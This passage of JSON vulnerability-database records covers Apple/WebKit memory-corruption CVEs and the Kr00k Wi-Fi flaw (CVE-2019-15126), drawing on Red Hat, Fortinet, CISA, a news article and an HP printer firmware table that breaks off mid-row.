"https://access.redhat.com/security/cve/cve-2019-8813", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-12-02T11:50:57", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-07T16:48:57", "type": "redhatcve", "title": "CVE-2019-8822", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8822"], "modified": "2023-04-06T05:53:31", "id": "RH:CVE-2019-8822", "href": "https://access.redhat.com/security/cve/cve-2019-8822", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T11:50:56", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0. Processing maliciously crafted web content may lead to arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-07T12:49:09", "type": "redhatcve", "title": "CVE-2019-8782", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8782"], "modified": "2023-04-06T06:57:15", "id": "RH:CVE-2019-8782", "href": "https://access.redhat.com/security/cve/cve-2019-8782", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T11:50:57", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-07T13:19:53", "type": "redhatcve", "title": "CVE-2019-8783", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8783"], "modified": "2023-04-06T06:57:16", "id": "RH:CVE-2019-8783", "href": "https://access.redhat.com/security/cve/cve-2019-8783", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T11:50:57", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-07T16:48:56", "type": "redhatcve", "title": "CVE-2019-8820", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8820"], "modified": "2023-04-06T05:53:01", "id": "RH:CVE-2019-8820", "href": "https://access.redhat.com/security/cve/cve-2019-8820", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "fortinet": [{"lastseen": "2023-06-15T14:14:23", "description": "During the RSA conference of February 26th 2020, researchers \u0160tefan Svorenc\u00edk and Robert Lipovsky disclosed a vulnerability in the implementation of the wireless egress packet processing of certain Broadcom Wi-Fi chipsets. This vulnerability is referenced as CVE-2019-15126 and could allow an unauthenticated, adjacent attacker to decrypt Wi-Fi frames without the knowledge of the wireless security key. Fortinet Product Security Incident Response Team (PSIRT) is not aware of any public announcements or malicious use of this vulnerability. Only products listed in the Affected Products section of this advisory are potentially impacted by this vulnerability.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 3.1, "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2020-12-01T00:00:00", "type": "fortinet", "title": "Kr00k vulnerability (CVE-2019-15126) in Broadcom and Cypress Wi-Fi chips", "bulletinFamily": "software", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2020-12-01T00:00:00", "id": "FG-IR-20-035", "href": "https://www.fortiguard.com/psirt/FG-IR-20-035", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}}], "ics": [{"lastseen": "2023-12-02T15:57:23", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 3.1**\n * **ATTENTION: **Exploitable remotely/low skill level to exploit\n * **Vendor:** Siemens\n * **Equipment: **SIMATIC, SIMOTICS\n * **Vulnerability: **TOCTOU Race Condition \n\n## 2\\. UPDATE INFORMATION\n\nThis updated advisory is a follow-up to the original advisory titled ICSA-20-224-05 Siemens SIMATIC, SIMOTICS that was published August 11, 2020, on the ICS webpage on us-cert.gov.\n\n## 3\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could allow an attacker to read a discrete set of traffic over the air after a Wi-Fi device state change.\n\n## 4\\. TECHNICAL DETAILS\n\n### 4.1 AFFECTED PRODUCTS\n\nThe following Siemens products are affected:\n\n * SIMATIC RF350M: All versions\n * SIMATIC RF650M: All versions\n\n**\\--------- Begin Update A Part 1 of 2 ---------**\n\n * SIMOTICS CONNECT 400: All versions prior to 0.4.0.22\n\n**\\--------- End Update A Part 1 of 2 ---------**\n\n### 4.2 VULNERABILITY OVERVIEW\n\n#### 4.2.1 [TIME-OF-CHECK TIME-OF-USE (TOCTOU) RACE CONDITION) CWE-367](<https://cwe.mitre.org/data/definitions/367.html>)\n\nSpecially timed and crafted traffic can cause internal errors (related to state transitions) in a WLAN device that can lead to improper Layer 2 Wi-Fi encryption and information disclosure over the air for a discrete set of traffic. This issue was discovered on Broadcom Wi-Fi client devices.\n\n[CVE-2019-15126](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-15126>) has been assigned to this vulnerability. A CVSS v3 base score of 3.1 has been calculated; the CVSS vector string is ([AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N>)).\n\n### 4.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS: **Energy\n * **COUNTRIES/AREAS DEPLOYED: **Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Germany\n\n### 4.4 RESEARCHER\n\nSiemens reported this vulnerability to CISA.\n\n## 5\\. MITIGATIONS\n\nSiemens has identified the following specific workarounds and mitigations users can apply to reduce the risk:\n\n * SIMATIC RF350M and RF650M: Disable Wi-Fi, if possible\n\n**\\--------- Begin Update A Part 2 of 2 ---------**\n\n * SIMOTICS CONNECT 400: [Update to v0.4.0.22](<https://support.industry.siemens.com/cs/ww/en/view/109778383>)\n\n**\\--------- End Update A Part 2 of 2 ---------**\n\nAs a general security measure, Siemens strongly recommends protecting network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends configuring the environment according to the [Siemens operational guidelines for Industrial Security](<https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf>) and following the recommendations in the product manuals. \nFor additional information, please refer to Siemens Security Advisory [SSA-712518](<https://cert-portal.siemens.com/productcert/pdf/ssa-712518.pdf>)\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for [control systems security recommended practices](<https://us-cert.cisa.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.gov](<https://us-cert.cisa.gov/ics>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.gov](<https://us-cert.cisa.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://us-cert.cisa.gov/ics/tips/ICS-TIP-12-146-01B>).\n\nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 3.1, "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2020-12-08T12:00:00", "type": "ics", "title": "Siemens SIMATIC, SIMOTICS (Update A)", "bulletinFamily": "info", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2020-12-08T12:00:00", "id": "ICSA-20-224-05", "href": "https://www.cisa.gov/news-events/ics-advisories/icsa-20-224-05", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}}], "thn": [{"lastseen": "2022-05-09T12:38:36", "description": "[![hack wifi password](https://thehackernews.com/images/-RAwVRXve-nU/Xla1n5-PuoI/AAAAAAAA2b4/_m8Qh837DsQ1ZOCEBxjcOGRM0udkREKvACLcBGAsYHQ/s728-e100/wifi-password-hacking-attack.jpg)](<https://thehackernews.com/images/-RAwVRXve-nU/Xla1n5-PuoI/AAAAAAAA2b4/_m8Qh837DsQ1ZOCEBxjcOGRM0udkREKvACLcBGAsYHQ/s728-e100/wifi-password-hacking-attack.jpg>)\n\n \nCybersecurity researchers today uncovered a new high-severity hardware vulnerability residing in the widely-used Wi-Fi chips manufactured by Broadcom and Cypress\u2014apparently powering over a billion devices, including smartphones, tablets, laptops, routers, and IoT gadgets. \n \nDubbed '**Kr00k**' and tracked as **CVE-2019-15126**, the flaw could let nearby remote attackers intercept and decrypt some wireless network packets transmitted over-the-air by a vulnerable device. \n \nThe attacker does not need to be connected to the victim's wireless network and the flaw works against vulnerable devices using WPA2-Personal or WPA2-Enterprise protocols, with AES-CCMP encryption, to protect their network traffic. \n \n\"Our tests confirmed some client devices by Amazon (Echo, Kindle), Apple (iPhone, iPad, MacBook), Google (Nexus), Samsung (Galaxy), Raspberry (Pi 3), Xiaomi (RedMi), as well as some access points by Asus and Huawei, were vulnerable to Kr00k,\" ESET researchers said. \n \nAccording to the [researchers](<https://www.eset.com/int/kr00k/>), the Kr00k flaw is somewhat related to the [KRACK attack](<https://thehackernews.com/2017/10/wpa2-krack-wifi-hacking.html>), a technique that makes it easier for attackers to [hack Wi-Fi passwords](<https://thehackernews.com/2018/08/how-to-hack-wifi-password.html>) protected using a widely-used WPA2 network protocol. \n \n\n\n## First, Learn What Kr00k Attack Doesn't Allow:\n\n \nBefore proceeding to details of the new Kr00k attack, it's important to note that: \n \n\n\n * The vulnerability does not reside in the Wi-Fi encryption protocol; instead, it exists in the way vulnerable chips implemented the encryption,\n * It doesn't let attackers connect to your Wi-Fi network and launch further man-in-the-middle attacks or exploitation against other connected devices,\n * It doesn't let attackers know your Wi-Fi password, and also changing it wouldn't help you patch the issue,\n * It doesn't affect modern devices using [WPA3 protocol](<https://thehackernews.com/2018/06/wpa3-wifi-security-standard.html>), the latest Wi-Fi security standard.\n * However, it does let attackers capture and decrypt some wireless packets (several kilobytes), but there's no way to predict what data it will include,\n * Most importantly, the flaw breaks encryption on the wireless layer but has nothing to do with TLS encryption that still secures your network traffic with sites using HTTPS.\n \n\n\n## What is Kr00k Attack & How Does it Work?\n\n \nNow you might be wondering what the Kr00k attack then let attackers do? \n \nIn brief, a successful attack merely degrades your security a step towards what you'd have on an open Wi-Fi network. Thus, what sensitive information attackers can capture from a vulnerable device is totally depends upon the lack of the next layer of network traffic encryption i.e., visiting non-HTTPS websites. \n \n\n\n[![hack wifi password](https://thehackernews.com/images/-0gnA1O-F-_o/XlaryAWHHFI/AAAAAAAA2bk/XW23-hcY8RIC-2y8Gs2UH-vKuhKRvJlfwCLcBGAsYHQ/s728-e100/wifi-password-hacking.jpg)](<https://thehackernews.com/images/-0gnA1O-F-_o/XlaryAWHHFI/AAAAAAAA2bk/XW23-hcY8RIC-2y8Gs2UH-vKuhKRvJlfwCLcBGAsYHQ/s728-e100/wifi-password-hacking.jpg>)\n\n \nThe attack relies on the fact that when a device suddenly gets disconnected from the wireless network, the Wi-Fi chip clears the session key in the memory and set it to zero, but the chip inadvertently transmits all data frames left in the buffer with an all-zero encryption key even after the disassociation. \n \nTherefore, an attacker in near proximity to vulnerable devices can use this flaw to repeatedly trigger disassociations by sending deauthentication packets over the air to capture more data frames, \"potentially containing sensitive data, including DNS, ARP, ICMP, HTTP, TCP, and TLS packets.\" \n \nBesides this, since the flaw also affects chips embedded in many wireless routers, the issue also makes it possible for attackers to intercept and decrypt network traffic transmitted from connected devices that are not vulnerable to Kr00k, either patched or using different Wi-Fi chips. \n \nESET researchers reported this issue to both affected chip manufacturers, Broadcom and Cypress, last year, as well as many affected device manufacturers who are responsible for developing a patch to mitigate the problem via software or firmware updates for their users. \n \nApple has already released patches for its users, some should have issued advisory or security patches at the time of publication, and other vendors are still testing the issue against their devices. \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 3.1, "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2020-02-26T18:15:00", "type": "thn", "title": "New Wi-Fi Encryption Vulnerability Affects Over A Billion Devices", "bulletinFamily": "info", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2020-02-26T18:15:25", "id": "THN:C75DD7C8E99DFE4FF4F7D8CC001C67E5", "href": "https://thehackernews.com/2020/02/kr00k-wifi-encryption-flaw.html", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}}], "hp": [{"lastseen": "2020-12-24T13:22:01", "description": "## Potential Security Impact\nInformation Disclosure\n\n**Source:** HP, HP Product Security Response Team (PSRT) \n\n**Reported by:** Broadcom \n\n## VULNERABILITY SUMMARY\nA potential security vulnerability has been identified for certain HP printers and MFPs. A Broadcom wireless vulnerability known as \"Kr00k\" (CVE-2019-15126) could be exploited remotely resulting in disclosure of information.\n\n## RESOLUTION\nHP has provided firmware updates for potentially impacted wireless capable printers and printers using a JetDirect wireless print accessory in the table below.\n\nTo obtain the updated firmware, go to the [HP Software site](<https://support.hp.com/drivers/>) and search for your printer model. \n\n> note:\n> \n> For firmware marked with *, please contact HP support to obtain the firmware update.\n\nProduct name\n\n| \n\nModel Numbers\n\n| \n\nFirmware Version \n \n---|---|--- \n \nHP JetDirect 3000w\n\n| \n\nJ8030A\n\n| \n\nLocate firmware for printer in chart below \n \nHP JetDirect 2900nw\n\n| \n\nJ8031A\n\n| \n\nLocate firmware for printer in chart below \n \nHP JetDirect 3100w\n\n| \n\n3JN69A\n\n| \n\nLocate firmware for printer in chart below \n \nHP Color LaserJet Enterprise M552\n\n| \n\nB5L23A\n\n| \n\nFS4: 4.11.0.1 (or higher) * \n \nHP Color LaserJet Enterprise M553\n\nHP Color LaserJet Managed M553\n\n| \n\nB5L25A, B5L26A, BL27A, B5L38A, B5L39A\n\n| \n\nFS4: 4.11.0.1 (or higher) * \n \nHP Color LaserJet Enterprise M652\n\n| \n\nJ7Z98A, J7Z99A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Enterprise M653\n\n| \n\nJ8A04A, J8A05A, J8A06A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Enterprise M751\n\nHP Color LaserJet Managed E75245\n\n| \n\nT3U43A, T3U44A, T3U64A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Enterprise M856\n\nHP Color LaserJet Managed E85055\n\n| \n\nT3U51A, T3U52A, T3U66A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Enterprise MFP M577\n\nHP Color LaserJet Enterprise Flow MFP M577\n\n| \n\nB5L46A, B5L47A, B5L48A, B5L54A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Enterprise MFP M681\n\nHP Color LaserJet Enterprise flow MFP M681\n\n| \n\nJ8A10A, J8A11A, J8A12A, J8A13A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Enterprise MFP M682\n\nHP Color LaserJet Enterprise flow MFP M682\n\n| \n\nJ8A16A, J8A17A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Enterprise MFP M776\n\nHP Color LaserJet Enterprise Flow MFP M776\n\n| \n\nT3U55A, T3U56A, 3WT91A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Managed E55040\n\n| \n\n3GX98A, 3GX99A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Managed E65050/60\n\n| \n\nL3U55A, L3U56A, L3U57A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Managed flow MFP E77822/25/30\n\n| \n\nX3A77A, X3A80A, X3A83A, Z8Z01A, Z8Z03A, Z8Z05A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Managed MFP E57540\n\nHP Color LaserJet Managed flow MFP E57540\n\n| \n\n3GY25A, 3GY26A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Managed MFP E67550/60\n\nHP Color LaserJet Managed flow MFP E67550/60\n\n| \n\nL3U66A, L3U67A, L3U69A, L3U70A,\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Managed MFP E67650/60\n\n| \n\n3GY31A, 3GY32A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Managed MFP E77422/28\n\n| \n\n5CM75A, 5CM76A, 5CM77A, 5CM78A, 5CM79A, 5RC91A, 5RC92A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Managed MFP E77822/25/30\n\n| \n\nX3A78A, X3A81A, X3A84A, Z8Z00A, Z8Z02A, Z8Z04A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Managed MFP E78223/28\n\n| \n\n8GS12A, 8GS13A, 8GS14A, 8GS15A, 8GS36A, 8GS37A, 8GS43A, 8GS44A, 8GS50A, 17F27AW, 19GSAW\n\n| \n\nFS4: 4.11.01 (or higher) \n \nHP Color LaserJet Managed MFP E87640/50/60\n\nHP Color LaserJet Managed flow MFP E87640/50/60\n\n| \n\nX3A86A, X3A87A, X3A89A, X3A90A, X3A92A, X3A93A, Z8Z12A, Z8Z13A, Z8Z14A, Z8Z15A, Z8Z16A, Z8Z17A, 5CM63A, 5CM64A, 5CM65A, 5CM66A, 5RC87A, 5FM80A, 5FM81A, 5FM82A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Managed MFP M577\n\nHP Color LaserJet Managed Flow MFP M577\n\n| \n\nB5L49A, B5L50A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise M506\n\nHP LaserJet Managed M506\n\n| \n\nF2A68A, F2A69A, F2A70A, F2A71A, F2A66A, F2A67A\n\n| \n\nFS4: 4.11.0.1 (or higher) * \n \nHP LaserJet Enterprise M507\n\nHP LaserJet Managed E50145\n\n| \n\n1PV86A, 1PV87A, 1PV88A, 1PV89A, 1PU51A, 1PU52A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise M605\n\nHP LaserJet Managed M605\n\n| \n\nE6B69A, E6B70A. E6B71A, L3U53A, L3U54A\n\n| \n\nFS4: 4.11.0.1 (or higher) * \n \nHP LaserJet Enterprise M606\n\n| \n\nE6B72A, E6B73A\n\n| \n\nFS4: 4.11.0.1 (or higher) * \n \nHP LaserJet Enterprise M607\n\n| \n\nK0Q14A, K0Q15A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise M608\n\n| \n\nK0Q17A, K0Q18A, K0Q19A, M0P32A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise M609\n\n| \n\nK0Q20A, K0Q21A, K0Q22A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise M610\n\n| \n\n7PS81A, 7PS82A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise M611\n\n| \n\n7PS83A, 7PS84A, 7PS85A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise M612\n\n| \n\n7PS86A, 7PS87A, 7PS88A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise MFP M527\n\nHP LaserJet Enterprise Flow MFP M527z\n\n| \n\nF2A76A, F2A77A, F2A78A, F2A81A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise MFP M528\n\nHP LaserJet Managed MFP E52645\n\n| \n\n1PV49A, 1PS54A, 1PS55A, 1PV64A, 1PV65A, 1PV66A, 1PV67A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise MFP M631\n\nHP LaserJet Enterprise flow MFP M631\n\n| \n\nJ8J63A, J8J64A, J8J65A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise MFP M632\n\nHP LaserJet Enterprise flow MFP M632\n\n| \n\nJ8J70A, J8J71A, J8J72A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise MFP M633\n\nHP LaserJet Enterprise flow MFP M633\n\n| \n\nJ8J76A, J8J78A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise MFP M634\n\nHP LaserJet Enterprise Flow MFP M634\n\n| \n\n7PS94A, 7PS95A, 7PS96A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise MFP M635\n\nHP LaserJet Enterprise Flow MFP M635\n\n| \n\n7PS97A, 7PS98A, 7PS99A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Enterprise MFP M636\n\nHP LaserJet Enterprise Flow MFP M636\n\n| \n\n7PT00A, 7PT01A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Managed E50045\n\n| \n\n3GN19A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Managed E60055/65/75\n\n| \n\nM0P33A, M0P35A, M0P36A, M0P39A, M0P40A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Managed MFP E52545\n\nHP LaserJet Managed flow MFP E52545c\n\n| \n\n3GY19A, 3GY20A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Managed MFP E62555/65\n\nHP LaserJet Managed flow MFP E62555/65/75\n\n| \n\nJ8J66A, J8J67A, J8J73A, J8J74A, J8J79A, J8J80A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Managed MFP E62655/65\n\nHP LaserJet Managed Flow MFP E62675\n\n| \n\n3GY14A, 3GY15A, 3GY16A, 3GY17A, 3GY18A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Managed MFP E72425/30\n\n| \n\n5CM68A, 5CM69A, 5CM70A, 5CM71A, 5CM72A, 5RC89A, 5RC90A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Managed MFP E72525/30/35\n\nHP LaserJet Managed flow MFP 